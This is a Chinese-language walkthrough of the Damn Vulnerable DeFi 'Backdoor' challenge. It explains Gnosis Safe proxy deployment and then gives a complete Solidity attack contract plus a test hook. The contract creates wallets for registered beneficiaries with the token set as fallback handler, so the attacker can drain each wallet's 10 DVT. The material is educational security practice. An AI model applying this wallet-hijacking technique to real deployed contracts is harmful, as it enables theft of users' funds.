Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。
题目链接:https://www.damnvulnerabledefi.xyz/challenges/11.html
题目描述:
为了激励创建更安全的钱包,有人部署了 WalletRegistry 合约。当有人在该合约中注册为受益人并创建 Gnosis Safe 钱包,将获得 10 个 DVT 代币到钱包中
目前有四人登记为受益人:Alice、Bob、Charlie 和 David。WalletRegistry 合约中有 40 个 DVT。
你的目标是从盗取这 40 个 DVT
开始之前你需要先了解 代理合约、多签钱包、EVM 内存布局、Solidity 内联汇编 相关的知识。此处不再赘述。
如果你已经了解了上述内容,接下来就可以正式开始了。
不过在此之前还是需要先介绍下 Gnosis Safe 1.3.0 版本的合约架构。Gnosis Safe 在部署阶段有三个重要的合约
GnosisSafeProxyFactoryGnosisSafeProxyGnosisSafe
GnosisSafe 是处理多签逻辑的合约,是提前部署好的合约。在以太坊主网上的地址是 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552
当我们在 Gnosis Safe 网站上创建多签钱包时,交互的合约实际上是 GnosisSafeProxyFactory, 该合约会创建并部署 GnosisSafeProxy 代理合约,代理合约的逻辑合约地址是已部署好的 GnosisSafe 合约。所以我们创建的多签钱包实际上是 GnosisSafeProxy 代理合约。
由于采用的这种代理模式,将数据都存储在 GnosisSafeProxy 合约中,有以下优点:
- 由于多签逻辑是可以复用的,代理模式避免了逻辑合约重复被部署。可以为用户创建多签钱包节省
gas费 - 数据将保存在用户自己创建的钱包中,而不是统一存储在逻辑合约中,做到每个多签钱包的数据和逻辑分离。
GnosisSafeProxyFactory 部署代理合约核心方法是
function deployProxy(
address _singleton,
bytes memory initializer,
bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
require(isContract(_singleton), "Singleton contract not deployed");
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
if (initializer.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
}
}
该方法的参数如下:
_singleton:已部署的逻辑合约地址initializer:逻辑合约GnosisSafeProxy的setup方法的calldatasalt:部署合约的salt值,长度为 32 字节
函数内部使用了两个内联汇编函数 create2 和 call,你可以在 evm.codes 查看相关的内容。
create2(value, offset, size, salt)部署一个合约,并返回合约地址
value:部署时发送到合约账户ETH数量,单位是weioffset:内存的起始位置size:从起始位置开始的长度salt:部署合约的salt值,长度为 32 字节
call(gas, address, value, argsOffset, argsSize, retOffset, retSize)调用合约方法
gas:需要的 gasaddress:目标合约地址value:调用目标合约转入的 ETHargsOffset:发送的calldata在内存的起始位置argsSize:发送的calldata的长度retOffset:返回值写入内存的开始位置retSize:返回值的长度
由于 deployProxy 是 internal,所以 GnosisSafeProxyFactory 合约暴露了以下两个方法供外部调用去创建代理合约
// 通过 nonce 创建代理合约
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
proxy = deployProxy(_singleton, initializer, salt);
emit ProxyCreation(proxy, _singleton);
}
// 创建代理合约并回调 callback 合约的 proxyCreated 方法
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
再回到题目中,合约 WalletRegistry 中继承了 IProxyCreationCallback ,在上面的方法 createProxyWithCallback 有这样一行代码
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
当 callback 存在时,调用其 proxyCreated 方法。即如果 callback 是 WalletRegistry 中则调用其 proxyCreated 方法:
function proxyCreated(
GnosisSafeProxy proxy, // 代理合约
address singleton, // 逻辑合约地址
bytes calldata initializer, // 初始化的数据
uint256
) external override {
// 确保合约有 10个 DVT
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
// 获取钱包地址
address payable walletAddress = payable(proxy);
// 确保调用者是 GnosisSafeProxyFactory
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
// 确保 initializer 前四个字节是 GnosisSafe.setup 函数的 selector
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
// 获取钱包的所有者
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
// 确保 owner 是受益人(只有受益人才能是钱包的所有者)
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
// 取消owner作为受益人
_removeBeneficiary(walletOwner);
// 记录 owner 拥有的钱包地址
wallets[walletOwner] = walletAddress;
// 转入10DVT 到多签钱包中
token.transfer(walletAddress, TOKEN_PAYMENT);
}
到目前为止可以做个总结:
WalletRegistry合约可以添加受益人地址,受益人可以创建多签钱包,并将 10 个DVT转到钱包地址中- 创建多签钱包需要调用
GnosisSafeProxyFactory合约的createProxyWithCallback方法- 调用
createProxyWithCallback可以传入callback用来回调proxyCreated方法 - 创建钱包的过程中如果存在
initializer,则会调用。
- 调用
目前有四个受益人,所以可以创建四个多签钱包,每个钱包中有 10 个 DVT 。
目标是从多签钱包中取出这些 DVT。但是我们并不是钱包的所有人,因此要想办法可以转移 DVT 到自己的账户中。
关键还是在于 initializer 的值。前面提到过 initializer 是逻辑合约 GnosisSafe 的 setup 方法的 calldata,创建钱包时会调用该方法, setup 方法的实现如下
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
方法参数:
_owners:钱包所有者们_threshold:发起交易时,最少需要同意的人数to:执行delegtecall合约地址data:执行delegtecall的calldatafallbackHandler:调用不存在的方法时的处理合约paymentToken:支付的 token 地址payment:支付额paymentReceiver:支付的接收人
fallbackHandler 是一个合约地址,当我们调用不存在的方法时会调用 fallbackHandler 中的同名方法,如调用 transfer 时, GnosisSafe 中没有此方法,故会调用 fallbackHandler.transfer。因此可以将 fallbackHandler 设置为 DVT 合约的地址。并传入相关参数。
以下是攻击合约 BackdoorAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "../backdoor/WalletRegistry.sol";
interface IGnosisSafe {
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external;
}
contract BackdoorAttack {
constructor (
address registry,
address masterCopy,
GnosisSafeProxyFactory walletFactory,
IERC20 token,
address[] memory beneficiaries
) {
// 遍历受益人, 创建钱包
for (uint i = 0; i < beneficiaries.length; i++) {
address beneficiary = beneficiaries[i];
address[] memory owners = new address[](1);
owners[0] = beneficiary;
bytes memory initializer = abi.encodeWithSelector(
IGnosisSafe.setup.selector, // setup 方法的 selector
// 以下是 setup 方法的参数
owners, // _owners
1, // _threshold
address(0), // to
hex"00", // data
address(token), // fallbackHandler
address(0), // paymentToken
0, // paymentToken
address(0x0) // paymentReceiver
);
// 创建钱包
GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
masterCopy, // 逻辑合约地址
initializer, // setup calldata
0, // saltNonce
WalletRegistry(registry) // callback
);
address wallet = address(proxy);
// 调用钱包(代理合约)的 transfer 方法,相当于调用逻辑合约的 transfer 方法。即相当于调用 fallbackHandler.transfer,也即 token.transfer
IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
}
}
}
在测试文件 backdoor.challenge.js 添加攻击入口
it('Exploit', async function () {
await ethers.getContractFactory('BackdoorAttack', attacker).then(contract => contract.deploy(
this.walletRegistry.address,
this.masterCopy.address,
this.walletFactory.address,
this.token.address,
users
))
})
最后执行 yarn backdoor 测试通过!